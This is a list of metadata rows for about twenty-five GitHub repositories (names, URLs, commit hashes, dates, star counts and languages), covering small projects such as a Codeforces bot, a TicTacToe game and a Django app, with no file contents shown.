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lissrbay/codeforces_bot | https://github.com/lissrbay/codeforces_bot | 925adf28c70d06c7597e77990d37e821028a6cb5 | cc00da63d4c6e2ae9b5554224cd111a1d5dc37b4 | b5733e309a1b4cfc5a683ef9ed4aced2f716ba66 | refs/heads/master | 2021-09-02T13:40:42.429158 | 2018-01-03T00:26:46 | 2018-01-03T00:26:46 | null | 0 | 0 | null | null | null | null | null | [
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KhazanahAmericasInc/sensortower-dashboard | https://github.com/KhazanahAmericasInc/sensortower-dashboard | 281b91334205f9e3d052bad7f0574726ec84647f | b692d35f7d2a0bd457812ca3e438ad9041a10c56 | f354e77fac54bcd63eaec1cd568eb0c0beb7edb8 | refs/heads/master | 2020-04-20T02:15:57.560857 | 2019-02-07T03:10:31 | 2019-02-07T03:10:31 | 168,567,149 | 0 | 0 | null | null | null | null | null | [
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ArvinZhang/py-workspace | https://github.com/ArvinZhang/py-workspace | a45c42f7fd8b81d9b7d5a1a5a457a2074a66d9f4 | 043ddb19946bcfdbcf7185f03c01cd9823a4ea66 | d23d00153e637406cd280a86396362e933e6f721 | refs/heads/master | 2020-04-05T08:05:53.807879 | 2018-11-08T12:07:41 | 2018-11-08T12:07:41 | 156,700,946 | 0 | 0 | null | null | null | null | null | [
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zhouchangju1991/hermes_us | https://github.com/zhouchangju1991/hermes_us | 30634da11de8e556f4ee7f53a79fc0f6cef91f38 | 07bf9f8ad98842149aab90aa430069aff681329c | c2879a24d1639cbec9a23c4c880a84b2ecfec9f3 | refs/heads/master | 2023-01-24T17:07:46.636476 | 2020-11-28T06:51:54 | 2020-11-28T06:51:54 | 316,663,841 | 4 | 4 | null | null | null | null | null | [
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RituSin/TicTacToe | https://github.com/RituSin/TicTacToe | a3cfbabd4b759d0af22a68ab673e1eeb9a072579 | b1c8415c3291bf9083819e0c3e092b402a473add | 74eda659d40b2034d2b20464dd13681a6396414a | refs/heads/master | 2022-07-10T00:46:24.767515 | 2020-05-19T13:28:02 | 2020-05-19T13:28:02 | 265,251,184 | 0 | 0 | null | null | null | null | null | [
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ikcilrep/tatoos | https://github.com/ikcilrep/tatoos | 0e9935b0ca6f11206bb6792246e2d1a71bfb7ea9 | bc5cbe10cefe98460d3deb0b2202cb8cbf7abae2 | 24c4ad54b511b92b4fcc3c10fc009333457cd269 | refs/heads/master | 2020-06-16T08:36:59.045452 | 2019-08-01T16:25:12 | 2019-08-01T16:25:12 | null | 0 | 0 | null | null | null | null | null | [
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Tunahansrn/Todo-App | https://github.com/Tunahansrn/Todo-App | a1297b566823a690460c678b32e1c03e1dd4e63f | 139847a6d54b7e80e50a40e40682818eec1d3e66 | 713bd0c00d58e9d47a9e374c33e900c512f9c415 | refs/heads/main | 2023-06-24T04:49:46.869692 | 2021-07-25T16:48:54 | 2021-07-25T16:48:54 | 389,155,991 | 0 | 0 | null | null | null | null | null | [
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irina-goltsman/pseudo-jupyter | https://github.com/irina-goltsman/pseudo-jupyter | fd7a8859b9ed2dcdf5bdffba6afbca4594d01f8f | e9ffcef039555b5a6c4660b16336ecb78857cda9 | ba32695f88652dd5b69ae0ef56ceb8154bbe20e6 | refs/heads/master | 2020-05-05T11:11:40.064316 | 2019-04-07T18:45:43 | 2019-04-07T18:45:43 | 179,979,249 | 0 | 0 | null | 2019-04-07T14:40:46 | 2019-04-06T19:25:10 | 2019-04-06T19:25:08 | null | [
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RyoOzaki/pyhsmm | https://github.com/RyoOzaki/pyhsmm | f648c8b0ef5e05889f08ae0902a8daa4f17057b2 | 4cb540f985881dab04aa8e2991318ffbc9d2b035 | d35c492b68fdf72c4add2e707ad454e5ddff31d2 | refs/heads/master | 2021-07-11T05:23:45.019680 | 2020-11-26T11:36:40 | 2020-11-26T11:36:40 | 218,244,377 | 0 | 1 | MIT | 2019-10-29T08:59:14 | 2019-10-29T01:06:10 | 2019-07-31T17:11:32 | null | [
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mapugliese/basic-email-validation | https://github.com/mapugliese/basic-email-validation | 48f046cfdd980511a8a6928c51acf564c5610493 | 110b43ab7337fea50b6eb1a3a751dffacdd92497 | 3d07b0e83d07a4677942dfe3f55af1396f3bd58e | refs/heads/main | 2023-02-15T09:27:43.339610 | 2021-01-17T05:17:25 | 2021-01-17T05:17:25 | 330,081,161 | 0 | 0 | null | null | null | null | null | [
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AndrewOdiit/TDD | https://github.com/AndrewOdiit/TDD | cc9e4f844a916b9c27be29facae5357bc07cf05d | 4518d7d824a67ddd4312de9a6abfd37e1f550ebc | 5223ed61fad9b4ceccce5a165d4ce92e139dc112 | refs/heads/master | 2020-08-31T22:35:35.286659 | 2019-11-27T16:49:18 | 2019-11-27T16:49:18 | 218,802,432 | 1 | 0 | null | null | null | null | null | [
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Trietptm-on-Coding-Algorithms/r2_scripts | https://github.com/Trietptm-on-Coding-Algorithms/r2_scripts | 19cd0826ef4c7e7d6aa425193200747eb8138748 | 91af4afe287385255e58f58e39ce5a78097141df | 2815b55c1450bc9a66c807f6bbac2355945d37ee | refs/heads/master | 2021-10-08T06:01:35.366063 | 2018-12-08T16:01:24 | 2018-12-08T16:01:24 | null | 0 | 0 | null | null | null | null | null | [
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drmaxchen/pyradio | https://github.com/drmaxchen/pyradio | dd14e8796e1dea745cfe8fcfd57bf71a8e1e8fa0 | f2e46856425cfb233d29d391199bfb9b85824b06 | 48f49bfe57008ae0c30f602bb14ff3b11fd7d447 | refs/heads/master | 2020-03-27T23:24:39.552705 | 2018-09-04T08:46:39 | 2018-09-04T08:46:39 | 147,315,093 | 0 | 1 | null | null | null | null | null | [
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thethorne48/rgb_test | https://github.com/thethorne48/rgb_test | 99e055fe68d7dcbe1c324cfaeeb320810a7df915 | 7dae84c89dd41dad68d2ecf0bd91ca3a317f5851 | 396b35cd8fe16701bc7fea8d6cc5fa2608bd24f1 | refs/heads/master | 2020-06-23T19:25:32.667070 | 2019-08-12T22:16:00 | 2019-08-12T22:16:00 | 198,731,320 | 0 | 0 | null | null | null | null | null | [
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benjaratc/Project1-Python- | https://github.com/benjaratc/Project1-Python- | 4286548201e531ea957890d45f2653c108588ae7 | 3f4962da735480cd4706cb1db54cd90bd375d09a | 9a93a0f642dbb0688bdeda5746c973a9b62eadc2 | refs/heads/master | 2022-09-10T00:17:50.857201 | 2020-05-29T13:13:24 | 2020-05-29T13:13:24 | 267,849,521 | 0 | 0 | null | null | null | null | null | [
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kazoon-n/django-rest | https://github.com/kazoon-n/django-rest | d48fe9d527d80529426a3fc0f7bd967168d5a8b0 | fd850eae30981d7f348b639c2335689a36294512 | 313424e91b5810d3110b9de161a3269b581d9211 | refs/heads/master | 2022-12-24T01:53:03.371323 | 2019-02-23T10:30:14 | 2019-02-23T10:30:14 | 172,196,366 | 0 | 0 | null | 2019-02-23T09:33:13 | 2019-02-23T10:30:16 | 2022-12-08T01:38:07 | Python | [
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emanuelfeld/ml-coursera | https://github.com/emanuelfeld/ml-coursera | 9451dedf530b221f2569fc294065c6af0ac1411a | f8b8b450af3bc2d955b0dde8e59b966407524ddc | 1561a678a8b0d97453d28ea7e3a8f949b042f108 | refs/heads/master | 2021-09-03T06:04:59.258526 | 2018-01-06T05:53:16 | 2018-01-06T05:53:16 | 116,452,070 | 0 | 0 | null | null | null | null | null | [
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geoffisdancing/galnotes | https://github.com/geoffisdancing/galnotes | 23ee822a310e9df22918c2813cfcbc37545da166 | 81567e294d6d07a51c7561aefa3054bdbf620b40 | 1937f9904bd592c2901c69a2481e726ce81f65f9 | refs/heads/master | 2021-01-20T20:32:42.140995 | 2017-08-03T18:19:00 | 2017-08-03T18:19:00 | 62,321,843 | 0 | 0 | null | null | null | null | null | [
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simoncastellanos9/python-challenge | https://github.com/simoncastellanos9/python-challenge | 25d1f6bdfd80be9dccc9968c09dc102b88cc6d63 | ce385bcfe599a933b1a20515bf674558b1e75042 | 206f7ffbdee7e62e43e961519422bb54d777e4c7 | refs/heads/main | 2023-04-25T04:20:29.802578 | 2021-05-08T19:17:11 | 2021-05-08T19:17:11 | 363,179,421 | 0 | 0 | null | null | null | null | null | [
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illbelove/testrepo | https://github.com/illbelove/testrepo | 73c4842a7faf7fe800131bc21e556088a5b99b8e | f36438c050054f7f0ceac0727e57c9e091dd1b3b | 72c030d321bd4a584e190d8879363bd209db44e9 | refs/heads/main | 2022-12-28T13:37:15.488127 | 2020-10-18T03:22:45 | 2020-10-18T03:22:45 | 304,928,362 | 0 | 0 | null | 2020-10-17T17:07:26 | 2020-10-18T03:01:32 | 2020-10-18T03:22:46 | Python | [
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FelipeLeal/django_images | https://github.com/FelipeLeal/django_images | ba372307df82b3d1959c38b9f39e0a01357be021 | 58b5c01bd2733283775e74b84b9f0b0365f2a900 | b47fdabe99335e2ad1b1d6f99b51f54133581f58 | refs/heads/master | 2021-09-24T16:42:14.067073 | 2020-04-12T04:50:19 | 2020-04-12T04:50:19 | 245,237,592 | 0 | 0 | null | 2020-03-05T18:22:47 | 2020-04-12T04:50:46 | 2021-09-22T18:52:11 | Python | [
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prathamshiwal/SSH-Bruteforcer | https://github.com/prathamshiwal/SSH-Bruteforcer | fe522c941e72b14cb31f6e722258bd40a9d9ed00 | 45b587977cbb490e1f6c3656a5b245f646fba701 | f38d53c6da55636fc91b6045c15b09d1ae602d10 | refs/heads/master | 2023-04-23T15:12:07.150906 | 2021-05-16T16:20:22 | 2021-05-16T16:20:22 | 367,926,608 | 0 | 0 | null | null | null | null | null | [
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yegyeom/Algorithm | https://github.com/yegyeom/Algorithm | ae0aef2d0c2275dd6d8ad4d1584c7d7a872e35bb | 32e8ac4098b8e541bdf060c29bd673c13bbb8a1f | 6fa3663cb3e73ebbbaeff1b984b450fb97f6312e | refs/heads/main | 2023-07-01T23:48:38.359556 | 2022-06-28T09:16:44 | 2022-06-28T09:16:44 | 331,221,416 | 0 | 0 | null | null | null | null | null | [
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roydulal/Flask_Heruku_Pipline | https://github.com/roydulal/Flask_Heruku_Pipline | e6f2802d396fbfd8457c9de09b6edd636599a599 | 595142d782610a9d0ab90e3f6e1db8b147388b9e | 89025ad6e7390070bb299541f36c5873b4aeedcc | refs/heads/master | 2021-01-26T09:16:04.450380 | 2020-02-27T01:59:54 | 2020-02-27T01:59:54 | 243,400,534 | 0 | 0 | null | null | null | null | null | [
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shiinaL/Python | https://github.com/shiinaL/Python | fd3c7808bebdac9514e9cbd94a231cb4acc6dc2f | d1240daccdfa5af3d9b255919dc43bd444aaf717 | 00fd0bd427414e08258403187c7d9d11b34c62a7 | refs/heads/master | 2020-04-22T21:02:41.234302 | 2019-02-14T09:23:17 | 2019-02-14T09:23:17 | 170,660,629 | 0 | 0 | null | null | null | null | null | [
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winnerineast/capterra | https://github.com/winnerineast/capterra | ec1b5c241f8782d1c0455f49be2abd15ce0574cc | 382d510284a6881f921ad55f46083744c5963a2b | 7d092b1f840eb4aa99bf74c795d03f972d950306 | refs/heads/master | 2023-06-29T06:57:11.566398 | 2021-07-17T15:33:13 | 2021-07-17T15:33:13 | 386,955,739 | 0 | 0 | null | null | null | null | null | [
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